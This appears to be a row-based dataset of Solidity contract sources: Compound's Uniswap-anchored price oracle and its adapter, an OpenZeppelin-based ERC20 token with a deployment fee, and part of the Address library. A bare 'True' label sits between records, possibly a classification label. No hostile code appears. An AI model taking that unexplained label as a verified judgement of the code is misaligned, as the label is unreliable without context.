revert("token config not found");
}
}
// Based on code from https://github.com/Uniswap/uniswap-v2-periphery
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// returns a uq112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << 112) / denominator);
}
// decode a uq112x112 into a uint with 18 decimals of precision
function decode112with18(uq112x112 memory self) internal pure returns (uint) {
// we only have 256 - 224 = 32 bits to spare, so scaling up by ~60 bits is dangerous
// instead, get close to:
// (x * 1e18) >> 112
// without risk of overflowing, e.g.:
// (x) / 2 ** (112 - lg(1e18))
return uint(self._x) / 5192296858534827;
}
}
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
// helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1]
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(
address pair
) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
interface IUniswapV2Pair {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
}
struct Observation {
uint timestamp;
uint acc;
}
contract UniswapAnchoredView is UniswapConfig {
using FixedPoint for *;
/// @notice The Open Oracle Price Data contract
OpenOraclePriceData public immutable priceData;
/// @notice The number of wei in 1 ETH
uint public constant ethBaseUnit = 1e18;
/// @notice A common scaling factor to maintain precision
uint public constant expScale = 1e18;
/// @notice The Open Oracle Reporter
address public immutable reporter;
/// @notice The highest ratio of the new price to the anchor price that will still trigger the price to be updated
uint public immutable upperBoundAnchorRatio;
/// @notice The lowest ratio of the new price to the anchor price that will still trigger the price to be updated
uint public immutable lowerBoundAnchorRatio;
/// @notice The minimum amount of time in seconds required for the old uniswap price accumulator to be replaced
uint public immutable anchorPeriod;
/// @notice Official prices by symbol hash
mapping(bytes32 => uint) public prices;
/// @notice Circuit breaker for using anchor price oracle directly, ignoring reporter
bool public reporterInvalidated;
/// @notice The old observation for each symbolHash
mapping(bytes32 => Observation) public oldObservations;
/// @notice The new observation for each symbolHash
mapping(bytes32 => Observation) public newObservations;
/// @notice The event emitted when new prices are posted but the stored price is not updated due to the anchor
event PriceGuarded(string symbol, uint reporter, uint anchor);
/// @notice The event emitted when the stored price is updated
event PriceUpdated(string symbol, uint price);
/// @notice The event emitted when anchor price is updated
event AnchorPriceUpdated(string symbol, uint anchorPrice, uint oldTimestamp, uint newTimestamp);
/// @notice The event emitted when the uniswap window changes
event UniswapWindowUpdated(bytes32 indexed symbolHash, uint oldTimestamp, uint newTimestamp, uint oldPrice, uint newPrice);
/// @notice The event emitted when reporter invalidates itself
event ReporterInvalidated(address reporter);
bytes32 constant ethHash = keccak256(abi.encodePacked("ETH"));
bytes32 constant rotateHash = keccak256(abi.encodePacked("rotate"));
/**
* @notice Construct a uniswap anchored view for a set of token configurations
* @dev Note that to avoid immature TWAPs, the system must run for at least a single anchorPeriod before using.
* @param reporter_ The reporter whose prices are to be used
* @param anchorToleranceMantissa_ The percentage tolerance that the reporter may deviate from the uniswap anchor
* @param anchorPeriod_ The minimum amount of time required for the old uniswap price accumulator to be replaced
* @param configs The static token configurations which define what prices are supported and how
*/
constructor(OpenOraclePriceData priceData_,
address reporter_,
uint anchorToleranceMantissa_,
uint anchorPeriod_,
TokenConfig[] memory configs) UniswapConfig(configs) public {
priceData = priceData_;
reporter = reporter_;
anchorPeriod = anchorPeriod_;
// Allow the tolerance to be whatever the deployer chooses, but prevent under/overflow (and prices from being 0)
upperBoundAnchorRatio = anchorToleranceMantissa_ > uint(-1) - 100e16 ? uint(-1) : 100e16 + anchorToleranceMantissa_;
lowerBoundAnchorRatio = anchorToleranceMantissa_ < 100e16 ? 100e16 - anchorToleranceMantissa_ : 1;
for (uint i = 0; i < configs.length; i++) {
TokenConfig memory config = configs[i];
require(config.baseUnit > 0, "baseUnit must be greater than zero");
address uniswapMarket = config.uniswapMarket;
if (config.priceSource == PriceSource.REPORTER) {
require(uniswapMarket != address(0), "reported prices must have an anchor");
bytes32 symbolHash = config.symbolHash;
uint cumulativePrice = currentCumulativePrice(config);
oldObservations[symbolHash].timestamp = block.timestamp;
newObservations[symbolHash].timestamp = block.timestamp;
oldObservations[symbolHash].acc = cumulativePrice;
newObservations[symbolHash].acc = cumulativePrice;
emit UniswapWindowUpdated(symbolHash, block.timestamp, block.timestamp, cumulativePrice, cumulativePrice);
} else {
require(uniswapMarket == address(0), "only reported prices utilize an anchor");
}
}
}
/**
* @notice Get the official price for a symbol
* @param symbol The symbol to fetch the price of
* @return Price denominated in USD, with 6 decimals
*/
function price(string memory symbol) external view returns (uint) {
TokenConfig memory config = getTokenConfigBySymbol(symbol);
return priceInternal(config);
}
function priceInternal(TokenConfig memory config) internal view returns (uint) {
if (config.priceSource == PriceSource.REPORTER) return prices[config.symbolHash];
if (config.priceSource == PriceSource.FIXED_USD) return config.fixedPrice;
if (config.priceSource == PriceSource.FIXED_ETH) {
uint usdPerEth = prices[ethHash];
require(usdPerEth > 0, "ETH price not set, cannot convert to dollars");
return mul(usdPerEth, config.fixedPrice) / ethBaseUnit;
}
}
/**
* @notice Get the underlying price of a cToken
* @dev Implements the PriceOracle interface for Compound v2.
* @param cToken The cToken address for price retrieval
* @return Price denominated in USD, with 18 decimals, for the given cToken address
*/
function getUnderlyingPrice(address cToken) external view returns (uint) {
TokenConfig memory config = getTokenConfigByCToken(cToken);
// Comptroller needs prices in the format: ${raw price} * 1e(36 - baseUnit)
// Since the prices in this view have 6 decimals, we must scale them by 1e(36 - 6 - baseUnit)
return mul(1e30, priceInternal(config)) / config.baseUnit;
}
/**
* @notice Post open oracle reporter prices, and recalculate stored price by comparing to anchor
* @dev We let anyone pay to post anything, but only prices from configured reporter will be stored in the view.
* @param messages The messages to post to the oracle
* @param signatures The signatures for the corresponding messages
* @param symbols The symbols to compare to anchor for authoritative reading
*/
function postPrices(bytes[] calldata messages, bytes[] calldata signatures, string[] calldata symbols) external {
require(messages.length == signatures.length, "messages and signatures must be 1:1");
// Save the prices
for (uint i = 0; i < messages.length; i++) {
priceData.put(messages[i], signatures[i]);
}
uint ethPrice = fetchEthPrice();
// Try to update the view storage
for (uint i = 0; i < symbols.length; i++) {
postPriceInternal(symbols[i], ethPrice);
}
}
function postPriceInternal(string memory symbol, uint ethPrice) internal {
TokenConfig memory config = getTokenConfigBySymbol(symbol);
require(config.priceSource == PriceSource.REPORTER, "only reporter prices get posted");
bytes32 symbolHash = keccak256(abi.encodePacked(symbol));
uint reporterPrice = priceData.getPrice(reporter, symbol);
uint anchorPrice;
if (symbolHash == ethHash) {
anchorPrice = ethPrice;
} else {
anchorPrice = fetchAnchorPrice(symbol, config, ethPrice);
}
if (reporterInvalidated) {
prices[symbolHash] = anchorPrice;
emit PriceUpdated(symbol, anchorPrice);
} else if (isWithinAnchor(reporterPrice, anchorPrice)) {
prices[symbolHash] = reporterPrice;
emit PriceUpdated(symbol, reporterPrice);
} else {
emit PriceGuarded(symbol, reporterPrice, anchorPrice);
}
}
function isWithinAnchor(uint reporterPrice, uint anchorPrice) internal view returns (bool) {
if (reporterPrice > 0) {
uint anchorRatio = mul(anchorPrice, 100e16) / reporterPrice;
return anchorRatio <= upperBoundAnchorRatio && anchorRatio >= lowerBoundAnchorRatio;
}
return false;
}
/**
* @dev Fetches the current token/eth price accumulator from uniswap.
*/
function currentCumulativePrice(TokenConfig memory config) internal view returns (uint) {
(uint cumulativePrice0, uint cumulativePrice1,) = UniswapV2OracleLibrary.currentCumulativePrices(config.uniswapMarket);
if (config.isUniswapReversed) {
return cumulativePrice1;
} else {
return cumulativePrice0;
}
}
/**
* @dev Fetches the current eth/usd price from uniswap, with 6 decimals of precision.
* Conversion factor is 1e18 for eth/usdc market, since we decode uniswap price statically with 18 decimals.
*/
function fetchEthPrice() internal returns (uint) {
return fetchAnchorPrice("ETH", getTokenConfigBySymbolHash(ethHash), ethBaseUnit);
}
/**
* @dev Fetches the current token/usd price from uniswap, with 6 decimals of precision.
* @param conversionFactor 1e18 if seeking the ETH price, and a 6 decimal ETH-USDC price in the case of other assets
*/
function fetchAnchorPrice(string memory symbol, TokenConfig memory config, uint conversionFactor) internal virtual returns (uint) {
(uint nowCumulativePrice, uint oldCumulativePrice, uint oldTimestamp) = pokeWindowValues(config);
// This should be impossible, but better safe than sorry
require(block.timestamp > oldTimestamp, "now must come after before");
uint timeElapsed = block.timestamp - oldTimestamp;
// Calculate uniswap time-weighted average price
// Underflow is a property of the accumulators: https://uniswap.org/audit.html#orgc9b3190
FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112(uint224((nowCumulativePrice - oldCumulativePrice) / timeElapsed));
uint rawUniswapPriceMantissa = priceAverage.decode112with18();
uint unscaledPriceMantissa = mul(rawUniswapPriceMantissa, conversionFactor);
uint anchorPrice;
// Adjust rawUniswapPrice according to the units of the non-ETH asset
// In the case of ETH, we would have to scale by 1e6 / USDC_UNITS, but since baseUnit2 is 1e6 (USDC), it cancels
if (config.isUniswapReversed) {
// unscaledPriceMantissa * ethBaseUnit / config.baseUnit / expScale, but we simplify bc ethBaseUnit == expScale
anchorPrice = unscaledPriceMantissa / config.baseUnit;
} else {
anchorPrice = mul(unscaledPriceMantissa, config.baseUnit) / ethBaseUnit / expScale;
}
emit AnchorPriceUpdated(symbol, anchorPrice, oldTimestamp, block.timestamp);
return anchorPrice;
}
/**
* @dev Get time-weighted average prices for a token at the current timestamp.
* Update new and old observations of lagging window if period elapsed.
*/
function pokeWindowValues(TokenConfig memory config) internal returns (uint, uint, uint) {
bytes32 symbolHash = config.symbolHash;
uint cumulativePrice = currentCumulativePrice(config);
Observation memory newObservation = newObservations[symbolHash];
// Update new and old observations if elapsed time is greater than or equal to anchor period
uint timeElapsed = block.timestamp - newObservation.timestamp;
if (timeElapsed >= anchorPeriod) {
oldObservations[symbolHash].timestamp = newObservation.timestamp;
oldObservations[symbolHash].acc = newObservation.acc;
newObservations[symbolHash].timestamp = block.timestamp;
newObservations[symbolHash].acc = cumulativePrice;
emit UniswapWindowUpdated(config.symbolHash, newObservation.timestamp, block.timestamp, newObservation.acc, cumulativePrice);
}
return (cumulativePrice, oldObservations[symbolHash].acc, oldObservations[symbolHash].timestamp);
}
/**
* @notice Invalidate the reporter, and fall back to using anchor directly in all cases
* @dev Only the reporter may sign a message which allows it to invalidate itself.
* To be used in cases of emergency, if the reporter thinks their key may be compromised.
* @param message The data that was presumably signed
* @param signature The fingerprint of the data + private key
*/
function invalidateReporter(bytes memory message, bytes memory signature) external {
(string memory decodedMessage, ) = abi.decode(message, (string, address));
require(keccak256(abi.encodePacked(decodedMessage)) == rotateHash, "invalid message must be 'rotate'");
require(source(message, signature) == reporter, "invalidation message must come from the reporter");
reporterInvalidated = true;
emit ReporterInvalidated(reporter);
}
/**
* @notice Recovers the source address which signed a message
* @dev Comparing to a claimed address would add nothing,
* as the caller could simply perform the recover and claim that address.
* @param message The data that was presumably signed
* @param signature The fingerprint of the data + private key
* @return The source address which signed the message, presumably
*/
function source(bytes memory message, bytes memory signature) public pure returns (address) {
(bytes32 r, bytes32 s, uint8 v) = abi.decode(signature, (bytes32, bytes32, uint8));
bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", keccak256(message)));
return ecrecover(hash, v, r, s);
}
/// @dev Overflow proof multiplication
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) return 0;
uint c = a * b;
require(c / a == b, "multiplication overflow");
return c;
}
}
interface IPriceOracle {
function assetPrices(address) external view returns (uint256);
function getPrices(address) external view returns (uint256);
}
/**
* @title Open Oracle Adapater for v1 Interface
* @author Compound Labs, Inc.
*/
contract OpenOracleV1 is IPriceOracle {
UniswapAnchoredView public immutable openOracleView;
constructor(UniswapAnchoredView openOracleView_) public {
openOracleView = openOracleView_;
}
function getPrices(address asset) public view override returns (uint256) {
UniswapConfig.TokenConfig memory ethConfig = openOracleView.getTokenConfigBySymbol("ETH");
UniswapConfig.TokenConfig memory cTokenConfig = openOracleView.getTokenConfigByUnderlying(asset);
uint tokenPrice = openOracleView.getUnderlyingPrice(cTokenConfig.cToken);
uint ethPrice = openOracleView.getUnderlyingPrice(ethConfig.cToken);
require(ethPrice != 0, "eth price 0");
return mul(tokenPrice, 1e18) / ethPrice;
}
function assetPrices(address asset) public view override returns (uint256) {
return getPrices(asset);
}
/// @dev Overflow proof multiplication
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) return 0;
uint c = a * b;
require(c / a == b, "multiplication overflow");
return c;
}
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/**
*Submitted for verification at Etherscan.io on 2021-05-31
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Decimals
* @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
*/
abstract contract ERC20Decimals is ERC20 {
uint8 immutable private _decimals;
/**
* @dev Sets the value of the `decimals`. This value is immutable, it can only be
* set once during construction.
*/
constructor (uint8 decimals_) {
_decimals = decimals_;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/token/ERC20/StandardERC20.sol
pragma solidity ^0.8.0;
/**
* @title StandardERC20
* @dev Implementation of the StandardERC20
*/
contract StandardERC20 is ERC20Decimals, ServicePayer {
constructor (
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ERC20Decimals(decimals_)
ServicePayer(feeReceiver_, "StandardERC20")
payable
{
require(initialBalance_ > 0, "StandardERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
function decimals() public view virtual override returns (uint8) {
return super.decimals();
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-01-16
*/
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
